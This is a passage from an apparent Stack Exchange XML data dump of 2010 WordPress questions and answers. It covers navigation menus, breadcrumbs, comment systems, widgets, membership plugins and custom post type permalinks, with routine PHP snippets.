CategoryList1 which would be the looper for all of the posts in a certain category.  I could then get to Post23 from there.  What I need, however, is for the left nav to still reflect what &quot;section&quot; (or top-level nav) I was in when I got to this list.  I've thought of managing everything in pages and each page just containing shortcode to display what I want so that I could use custom page templates to always disply the proper menu, and that works fairly well (in my head) until I get to the actual post level.  At some point, I always hit the &quot;where did I come from?&quot; wall at the category and post level.  I know there are good plugins for breadcrumb management in this arena, but I've not found a plugin that allows me do this with menus.  I know that WP does not natively support sessions, so I'm trying to figure out how this might be possible without enabling sessions, but that almost seems like the only option?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With sessions, I could just get my theme to read a session variable and grab the custom menu based off the session value.  No session value means you're on the home page or came directly to a category, archive, or post from the home page, so no menu would be necessary.  If you went to a section, you would hit a page template from somewhere, and that page template would be &quot;section-aware&quot; and write the session variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other ideas that anyone might have or any plugins I've missed that might cover this functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much!&lt;/p&gt;&#xA;" LastActivityDate="2010-11-21T17:54:14.167" Title="Creating menu and breadcrumb &quot;sections&quot; within Wordpress 3 being used as a CMS" Tags="&lt;custom-menus&gt;" AnswerCount="1" />
  <row Id="4385" PostTypeId="2" ParentId="4384" CreationDate="2010-11-21T17:54:14.167" Score="4" ViewCount="" Body="&lt;p&gt;Even you wrote that you want to code everything yourself this time, you might want to consider to use a plugin for breadcrumbs, like (just to name one) &lt;a href=&quot;http://wordpress.org/extend/plugins/breadcrumb-navxt/&quot; rel=&quot;nofollow&quot;&gt;Breadcrumb NavXT (Wordpress Plugin)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it does not support what you need out of the box, you will find a least all the code how it has been originally done and probably it offers ways to customize the breadcrumb path for you. And if it's only to take a look how someone else is doing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As with your site, it looks to me that you're intermixing different stuff wordpress has to offer while aiming for one thing: site structure. IMHO this has the tendency to make things complicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The menu in wordpress is not designed to actually structure your content nor is there anything else that allows you to high-level structure content. The only thing I'm aware of to provide structured content in a hierarchy, is to use pages with childs and parents. Next to that you can provide a same named and structured tree of post categories which can help to streamline both the page structure with posts you could add for pages (or merely then sections of your site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But even with such a simplified approach, most breadcrumb plugins won't work as they don't expect to have pages their own posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure that there is a solution for what you want to do, and as an additional tip on how to integrate that easily is by either creating a template tag for you breadcrumb path and/or a shortcode or widget you can easily distribute it on your site even when you change the logic behind your site's structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And additionally, if you use the menu to structure your content, it should be possible to read that structure out and create a path out of it as it's normally a tree structure and the breadcrumb is displaying the path to the current item. In the end you only need to add the current post at the end of it (Post23 in your example) if you're on a single post page. That's probably the easiest approach if you define your site's structure within the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mtekk, the author of the breadcrumb plugin I named above is on this site as well, I bet he has some other valuable feedback for you.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-21T17:54:14.167" />
  <row Id="4386" PostTypeId="1" CreationDate="2010-11-21T19:37:10.930" Score="1" ViewCount="149" Body="&lt;p&gt;As subjective as this question might sound, pros and cons in the technical sense is what I'm looking for as answers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using Wordpress for about 2-3 weeks and 9/10 of the comments are spam, so I'm think it would be a lot better if I use a disqus because it's &quot;more social&quot; in the sense that it connects Facebook and Twitter accounts in it as well and I'm looking for a more cleaner interface. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I thinking in the correct way? Am I missing something and should I stick with the default commenting engine? Please do give a reason or explanation for why you believe one is useful over the other. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what's Disqus' situation with the spam situation? Can I get some links to real WP blogs/sites with disqus running?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Does disqus have a spam filter?&lt;/p&gt;&#xA;" OwnerUserId="1439" LastEditorUserId="1439" LastEditorDisplayName="" LastEditDate="2010-11-21T19:56:14.243" LastActivityDate="2010-11-21T19:56:14.243" Title="Disqus over the default commenting engine, what are some pros and cons?" Tags="&lt;comments&gt;&lt;disqus&gt;" AnswerCount="1" />
  <row Id="4387" PostTypeId="2" ParentId="4386" CreationDate="2010-11-21T19:52:20.627" Score="1" ViewCount="" Body="&lt;p&gt;You asked specifically about disqus, and as this is somewhat subjective even for technical answers (only because some answers are of technical nature, it does not mean they are not subjective), it's probably worth to look a bit around what others have asked and answered: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2190/what-is-the-best-method-for-handling-comments&quot;&gt;What is the best method for handling comments?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can however just opt-in with disqus. At startup, it will sync the existing comments of your blog. Then, new comments on disqus will get synched with your blog as well. So you can just try and if it pleases you and your users, you stick to it, otherwise drop it. You won't loose any of your comments (&lt;a href=&quot;http://disqus.com/admin/wordpress/&quot; rel=&quot;nofollow&quot;&gt;disqus for wordpress&lt;/a&gt;, needs signup). &lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-21T19:52:20.627" CommentCount="1" />
  <row Id="4388" PostTypeId="1" AcceptedAnswerId="4395" CreationDate="2010-11-21T21:26:58.180" Score="1" ViewCount="1570" Body="&lt;h3&gt;Edit&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I removed the original Question as this Q has far above 1.000 views now - which means it's important to a lot of people - to show you something that works a) without a custom Walker &amp;amp; b) is easy. &lt;em&gt;Note:&lt;/em&gt; I only removed to original Q, because it was pretty unspectacular.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The Task&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Add css classes to all nav menu items inside a specific Nav Menu that was added via (admin UI) Appearance &gt; Menu.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The function&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse4388_navmenu_classes( $items, $menu, $args )&#xA;{&#xA;    // prevent crashing the appearance &amp;gt; menu admin UI&#xA;    if ( is_admin() )&#xA;        return;&#xA;&#xA;    # &amp;gt;&amp;gt;&amp;gt;&amp;gt; start editing&#xA;&#xA;        // Nav menu name you entered in the admin-UI &amp;gt; Appearance &amp;gt; Menus (Add menu).&#xA;        $target['name'] = 'Topnav';&#xA;&#xA;        // A targeted menu item that needs a special class - add the item number here&#xA;        $target['items'] = array( (int) 6 );&#xA;&#xA;    # &amp;lt;&amp;lt;&amp;lt;&amp;lt; stop editing&#xA;&#xA;    // filter for child themes: &quot;filter_nav_menu_{nav menu name}&quot;&#xA;    // the nav menu name looses all empty spaces and is set to lower&#xA;    // if you want to use the filter, hook your child theme function into 'after_setup_theme'&#xA;    $target = apply_filters( 'filter_nav_menu_'.strtolower( str_replace( &quot; &quot;, &quot;&quot;, $target['name'] ), $target );&#xA;&#xA;    // Abort if we're not with the named menu&#xA;    if ( $menu-&amp;gt;name !== $target['name'] ) &#xA;        return;&#xA;&#xA;    foreach ( $items as $item )&#xA;    {&#xA;        // Add the class for each menu item&#xA;        $item-&amp;gt;classes = 'classes for all items';&#xA;&#xA;        // Append this class if we are in one of the targeted items&#xA;        if ( in_array( (int) $item-&amp;gt;menu_order, $target['items'] ) )&#xA;            $item-&amp;gt;classes .= ' only for a single item';&#xA;    }&#xA;&#xA;    return $items;&#xA;}&#xA;add_filter( 'wp_get_nav_menu_items', 'wpse4388_navmenu_classes', 10, 3 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Was it helpful? Don't forget to vote up! :)&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-10T01:26:03.090" LastActivityDate="2011-06-10T01:26:03.090" Title="How to add (css) classes to only one wp_nav_menu()?" Tags="&lt;theme-development&gt;&lt;custom-menus&gt;&lt;css&gt;&lt;menus&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="0" />
  <row Id="4389" PostTypeId="2" ParentId="4376" CreationDate="2010-11-21T22:15:31.703" Score="1" ViewCount="" Body="&lt;p&gt;Got a different solution.&#xA;Just replaced &lt;a href=&quot;http://www.wordpress-plugin.org/plugin/easy-fancybox-plugin/&quot; rel=&quot;nofollow&quot;&gt;wp-fancybox-easy&lt;/a&gt; with &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-lightpop/&quot; rel=&quot;nofollow&quot;&gt;wp-lightpop&lt;/a&gt;.&#xA;Wp-lightpop works wonderfully out of the box.&#xA;2 changed I needed to do were:&#xA;1. go to the setting page and change the links to be displayed as popup (otherwise it's open the language navigation links as overlay)&#xA;2. change box style (look&amp;amp;feel)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem solved :-)&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2010-11-21T22:15:31.703" CommentCount="1" />
  <row Id="4390" PostTypeId="2" ParentId="4160" CreationDate="2010-11-21T22:50:52.163" Score="0" ViewCount="" Body="&lt;p&gt;Ok, did a bit of digging and it appears as though there is a ticket to fix this in the 3.1 release. Until then, you might wanna try using this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-custom-post-type-archives/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/simple-custom-post-type-archives/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option, since it's Thesis, is use their custom loop API and create a query to run on all pages being set from that taxonomy / post type.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-11-21T22:50:52.163" CommentCount="4" />
  <row Id="4391" PostTypeId="1" AcceptedAnswerId="4392" CreationDate="2010-11-21T23:24:11.740" Score="0" ViewCount="236" Body="&lt;p&gt;I'm getting the feeling that adding Widgets via MySQL query is not as simple as I thought. I was under the impression all data is stored in the &lt;code&gt;options&lt;/code&gt; table, but it seems like I was wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to place a widget via $wpdb? What data should be written down? And where?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2010-11-21T23:49:24.120" Title="Placing a widget with $wpdb query" Tags="&lt;widgets&gt;&lt;mysql&gt;&lt;query&gt;&lt;wpdb&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="4392" PostTypeId="2" ParentId="4391" CreationDate="2010-11-21T23:49:24.120" Score="2" ViewCount="" Body="&lt;p&gt;Placing widgets via a MySQL or something MySQL abstracted via the global variable &lt;code&gt;$wpdb&lt;/code&gt; that is an instance of the WPDB class is &lt;em&gt;not&lt;/em&gt; trivial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's not because MySQL is something complicated or because &lt;code&gt;$wpdb&lt;/code&gt; is useless at all but this has do something with the way the widget configuration is stored inside the mysql database options tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is always a work around. The nature of the widget configuration is stored inside the mysql database options tables. Just read the widgets configuration out of the option (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_option&quot; rel=&quot;nofollow&quot;&gt;get_option&lt;/a&gt;), edit it as you wish (use &lt;a href=&quot;http://php.net/manual/en/function.var-dump.php&quot; rel=&quot;nofollow&quot;&gt;var_dump&lt;/a&gt; to inspect how that array is used) and then store it back into mysql via &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/update_option&quot; rel=&quot;nofollow&quot;&gt;update_option&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That done you should be able to edit this &quot;via mysql&quot; (e.g. in the database) while making the settings of your wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is quite a quick answer but it probably solves your issue.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-21T23:49:24.120" CommentCount="6" />
  <row Id="4393" PostTypeId="2" ParentId="4381" CreationDate="2010-11-22T00:34:37.543" Score="0" ViewCount="" Body="&lt;p&gt;You could hook onto the user register hook and apply the postbox state changes then, it would simply run whenever a new user is created.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'user_register', 'set_user_closedboxes' );&#xA;function set_user_closedboxes( $uid ) {&#xA;    update_user_meta( $uid, 'closedpostboxes_{type}',array('submitdiv','postcustom'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;{type}&lt;/code&gt; should be your applicable post type, and the array should hold IDs of the boxes to hide(submitdiv and postcustom being two examples).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to write a query if you wish to update existing users, but the above should cover newly created/registered users..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code is untested, but i see no reason it shouldn't work, report back if any problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-22T00:34:37.543" CommentCount="2" />
  <row Id="4394" PostTypeId="2" ParentId="4388" CreationDate="2010-11-22T08:36:40.893" Score="1" ViewCount="" Body="&lt;p&gt;Maybe I got you wrong, but why don't you add the class in your theme?&#xA;Specify the class when you call the menu.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu( array( 'theme_location' =&amp;gt; 'Top Nav', 'menu_class' =&amp;gt; 'span-3' ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2010-11-22T08:36:40.893" CommentCount="5" />
  <row Id="4395" PostTypeId="2" ParentId="4388" CreationDate="2010-11-22T08:58:41.170" Score="1" ViewCount="" Body="&lt;p&gt;I'm going to start by saying something similar to Horttcore..  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reason you can't simply provide a differing container element for the given menu, it should provide enough specificity to style it uniquely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although, you could do something like this to conditionalise menu args based on the menu's location..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_wp_nav_menu_args( $args = '' ) {&#xA;    if( $args['theme_location'] == 'your-specific-location' )&#xA;        $args = array_merge( array(&#xA;            'container_class' =&amp;gt; 'example',&#xA;            'menu_class' =&amp;gt; 'example2'&#xA;        ), $args );&#xA;    return $args;&#xA;}&#xA;add_filter( 'wp_nav_menu_args', 'my_wp_nav_menu_args' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Above code is based on the example given on the codex page for &lt;code&gt;wp_nav_menu&lt;/code&gt;, and could easily be extended to do any number of things.&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_nav_menu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.. &lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-22T08:58:41.170" CommentCount="7" />
  <row Id="4396" PostTypeId="2" ParentId="4283" CreationDate="2010-11-22T09:29:39.767" Score="1" ViewCount="" Body="&lt;p&gt;I had a similar question, and the solution was to add a function in functions.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/2009/how-to-get-current-cat-in-navbar-in-single-post/2010#2010&quot;&gt;How to get current_cat in navbar, in single post&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2010-11-22T09:29:39.767" />
  <row Id="4397" PostTypeId="1" CreationDate="2010-11-22T10:31:10.037" Score="4" ViewCount="315" Body="&lt;p&gt;Does anyone have recommendations (backed by experience) for a membership plugin that can&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Provide for recurring subscriptions via PayPal&lt;/li&gt;&#xA;&lt;li&gt;Allow selected posts to be visible only to subscription members&lt;/li&gt;&#xA;&lt;li&gt;Allow selected posts to have come content that can be viewed by anyone, and some content that is only visible to subscription members&lt;/li&gt;&#xA;&lt;li&gt;Good support that recognises that the urgent support needs of payment processing not working.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm reasonably capable of running a Google search for alternatives - what I'm after is any actual experience (apologies if that comes across as slightly rude!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Key requirements are reliability of the integration, informative error messaging, and support that recognises that payment processing is important and often critical. &lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-01-29T17:04:11.883" LastActivityDate="2011-01-29T17:04:11.883" CommunityOwnedDate="2011-01-29T18:48:44.127" Title="Membership / subscription plugins - alternatives" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;subscription&gt;&lt;paypal&gt;&lt;membership&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="2" />
  <row Id="4398" PostTypeId="2" ParentId="3986" CreationDate="2010-11-22T11:09:32.340" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@e100&lt;/strong&gt;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were interested in &lt;strong&gt;a custom plugin solution&lt;/strong&gt; I can envision several approaches.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;A process similar to what &lt;em&gt;@toscho&lt;/em&gt; described as &lt;em&gt;&quot;Save as Changed Copy&quot;&lt;/em&gt; but with some subtle differences. The plugin could &lt;strong&gt;lock editing of published posts&lt;/strong&gt; but allow you to &lt;strong&gt;create derived posts with a new status like &lt;em&gt;&quot;Updated Draft&quot;&lt;/em&gt;&lt;/strong&gt; which could be tied back to the original post via a custom field. These derived posts could then be edited, reviewed, etc. but instead of having the option to publish you would have the option to replace the original post with your update.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another process could &lt;strong&gt;use the built-in revision system&lt;/strong&gt; although I'd have to do some research to figure out how to serve to the browser a version that is not the most recent; maybe save the content off as a custom field and allow you to continue to work on it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A third process might be to &lt;strong&gt;set up a second WordPress site as an editing sandbox&lt;/strong&gt;, use web services to retrieve the posts, allow you to edit them remotely, and then when you are ready to publish them you could push back to the main site.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Similar to #3 you could &lt;strong&gt;set up an editing sandbox using a WordPress Multisite&lt;/strong&gt; install and create non-public blogs for each author to have as their own editing sandbox.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Again, all those options would require custom plugin development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are &lt;strong&gt;looking for existing plugins&lt;/strong&gt; you want to take a look at these albeit I don't yet has specific experience with them so I don't know if any of these will do exactly what need:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/assignment-desk/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Assignment Desk&lt;/strong&gt;&lt;/a&gt; is an editorial tool for news organizations using WordPress as their content management system. The goal of the plug-in is to make community engagement with the news production process easier and more efficient.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/edit-flow/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Edit Flow&lt;/strong&gt;&lt;/a&gt; offers a suite of functionality to redefine your editorial workflow within WordPress.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/peters-post-notes/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Peter's Post Notes&lt;/strong&gt;&lt;/a&gt; - Add notes on the &quot;edit post&quot; and &quot;edit page&quot; screens' sidebars in WordPress 2.8 and up. When used with Peter's Collaboration E-mails 1.2 and up, the notes are sent along with the e-mails in the collaboration workflow. There is also a general and private notes system on the dashboard.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-11-22T11:09:32.340" CommentCount="2" />
  <row Id="4401" PostTypeId="1" CreationDate="2010-11-22T13:41:29.917" Score="1" ViewCount="420" Body="&lt;p&gt;UPDATED: 5/08/2010&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress has now added an additional technique to display the items from a custom post-type if the post-type is set to Hierarchical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do though is make it so the post items have the .current_page_item class when selected in the navigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a function to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php &#xA;    $args = array(&#xA;      'post_type'=&amp;gt;'testimonials',&#xA;      'title_li'=&amp;gt; __('Testimonials')&#xA;    );&#xA;    wp_list_pages( $args ); &#xA;    ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;George&lt;/p&gt;&#xA;" OwnerUserId="1298" LastEditorUserId="1298" LastEditorDisplayName="" LastEditDate="2011-08-05T08:43:26.427" LastActivityDate="2011-08-05T08:43:26.427" Title="WordPress Custom Post Type Navigation + Children" Tags="&lt;custom-post-types&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="4402" PostTypeId="1" CreationDate="2010-11-22T14:18:49.100" Score="2" ViewCount="236" Body="&lt;p&gt;I have a custom post type (gs_index) with commments enabled, and would like to display a list of recent comments only from that particular post type (outside of the loop)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also like to display the standard blog posts' comments without the comments from the custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I am currently using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;  &amp;lt;?php&#xA;    $comments = get_comments('number=10&amp;amp;status=approve');&#xA;    $true_comment_count = 0;&#xA;    foreach($comments as $comment) :&#xA;  ?&amp;gt;&#xA;&#xA;  &amp;lt;?php $comment_type = get_comment_type(); ?&amp;gt;&#xA;  &amp;lt;?php if($comment_type == 'comment') { ?&amp;gt;  &#xA;  &amp;lt;?php $true_comment_count = $true_comment_count +1; ?&amp;gt;  &#xA;  &amp;lt;?php $comm_title = get_the_title($comment-&amp;gt;comment_post_ID);?&amp;gt;&#xA;  &amp;lt;?php $comm_link = get_comment_link($comment-&amp;gt;comment_ID);?&amp;gt;&#xA;  &amp;lt;?php $comm_comm_temp = get_comment($comment-&amp;gt;comment_ID,ARRAY_A);?&amp;gt;&#xA;  &amp;lt;?php $comm_content = $comm_comm_temp['comment_content'];?&amp;gt;&#xA;&#xA;    &amp;lt;li&amp;gt;&#xA;      &amp;lt;span class=&quot;footer_comm_author&quot;&amp;gt;&#xA;        &amp;lt;?php echo($comment-&amp;gt;comment_author)?&amp;gt;&#xA;      &amp;lt;/span&amp;gt; on &#xA;      &amp;lt;a href=&quot;&amp;lt;?php echo($comm_link)?&amp;gt;&quot; title=&quot;&amp;lt;?php echo $comm_title?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php echo $comm_title?&amp;gt; &#xA;      &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt; &#xA;&#xA;  &amp;lt;?php } ?&amp;gt;&#xA;  &amp;lt;?php if($true_comment_count == 5) {break;} ?&amp;gt;&#xA;  &amp;lt;?php endforeach;?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="895" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T16:46:09.800" LastActivityDate="2011-08-05T06:39:02.920" Title="Seperating custom post type comments from regular blog posts comments" Tags="&lt;custom-post-types&gt;&lt;comments&gt;&lt;get-comments&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="4404" PostTypeId="2" ParentId="4397" CreationDate="2010-11-22T18:20:13.363" Score="2" ViewCount="" Body="&lt;p&gt;To be frank, my customers and I have only had miserable experiences with all of the various alternatives. Had I found a suitable one myself, I wouldn't be developing one in the background. :-P (And no, the one I'm working on by no means ready yet.)&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-22T18:20:13.363" CommunityOwnedDate="2011-01-29T18:48:44.127" CommentCount="2" />
  <row Id="4405" PostTypeId="2" ParentId="4173" CreationDate="2010-11-22T18:48:18.057" Score="1" ViewCount="" Body="&lt;p&gt;Here's a plugin I just published called the &lt;a href=&quot;http://mlynn.org/graceful-sidebar-plugin&quot; rel=&quot;nofollow&quot;&gt;Graceful Sidebar Plugin&lt;/a&gt;.  This enables you to create custom content for each page or post.  You simply create two custom fields in the page or post called &quot;graceful_title&quot; and &quot;graceful_content&quot; and drag the graceful sidebar widget to your theme's sidebar.&lt;/p&gt;&#xA;" OwnerUserId="1661" LastActivityDate="2010-11-22T18:48:18.057" CommentCount="1" />
  <row Id="4406" PostTypeId="2" ParentId="4397" CreationDate="2010-11-22T20:23:25.733" Score="1" ViewCount="" Body="&lt;p&gt;Please check over with the &lt;a href=&quot;http://premium.wpmudev.org&quot; rel=&quot;nofollow&quot;&gt;WPMU Dev&lt;/a&gt; guys - They've got several great membership type plugins and tons of other things that can be combined to fit your needs.  They used to be a membership type site themselves but I believe just moved to a download-per-use type place.  You'd have to go check out their plugins and see if anything would fit the bill.  Good luck!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited by Denis: no affiliate links, thank you.&lt;/p&gt;&#xA;" OwnerUserId="1663" LastEditorUserId="1208" LastEditorDisplayName="" LastEditDate="2010-11-23T01:19:53.687" LastActivityDate="2010-11-23T01:19:53.687" CommunityOwnedDate="2011-01-29T18:48:44.127" CommentCount="1" />
  <row Id="4407" PostTypeId="1" CreationDate="2010-11-22T20:27:18.543" Score="1" ViewCount="322" Body="&lt;p&gt;I'm trying to rewrite my permalinks using meta data from my post. The permalink rewrite works- but I'm getting the 404 issue when I try to view the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've flushed by visiting the permalink settings page, and still no dice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone offer a clue as to why this wouldn't work?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('post_type_link','calendar_link_filter',1,3);&#xA;&#xA;function calendar_link_filter( $post_link, $id = 0, $leavename = FALSE ) {&#xA;    $post = get_post($id);&#xA;    if($post-&amp;gt;post_type != 'super_duper') {&#xA;            return $post_link;&#xA;    }&#xA;    $date = get_post_meta($post-&amp;gt;ID,'event_start_date',true);&#xA;    $date = strtotime($date);&#xA;    $str = $post_link;&#xA;    $str = str_replace('%cal_year%',date(&quot;Y&quot;,$date),$str);&#xA;    $str = str_replace('%cal_month%',date(&quot;m&quot;,$date),$str);&#xA;    $str = str_replace('%cal_day%',date(&quot;d&quot;,$date),$str);&#xA;    return $str;&#xA;&#xA;}&#xA;&#xA;&#xA;add_action( 'init', 'create_my_post_types' );&#xA;&#xA;function create_my_post_types() {&#xA;register_post_type( 'super_duper',&#xA;    array(&#xA;        'labels' =&amp;gt; array(&#xA;            'name' =&amp;gt; __( 'Super Dupers' ),&#xA;            'singular_name' =&amp;gt; __( 'Super Duper' )&#xA;        ),&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'show_ui' =&amp;gt; true, // UI in admin panel&#xA;        'publicly_queryable' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; true,&#xA;        'public' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array('slug' =&amp;gt; 'events8/%cal_year%/%cal_month%/%cal_day%'),&#xA;&#xA;&#xA;    )&#xA;);&#xA;flush_rewrite_rules();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T17:26:35.523" LastActivityDate="2011-02-05T17:26:35.523" Title="404 Issue w/ Custom Post Type - using Meta for Permalink rewrite" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;rewrite-tag&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="4408" PostTypeId="1" CreationDate="2010-11-22T22:29:42.523" Score="0" ViewCount="285" Body="&lt;p&gt;I'd like to show a summary of my recent posts on my homepage. (Like the headlines and perhaps a few lines of text.) My site is &lt;em&gt;not&lt;/em&gt; running on Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a code snippet for that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When  I said &quot;widget&quot;, I didn't mean it in the Wordpress sense. I meant a code snippet.&lt;/p&gt;&#xA;" OwnerUserId="963" LastEditorUserId="963" LastEditorDisplayName="" LastEditDate="2010-11-24T22:05:59.650" LastActivityDate="2010-11-25T08:30:21.933" Title="Is there a Wordpress widget for my webpage?" Tags="&lt;widgets&gt;" AnswerCount="5" />
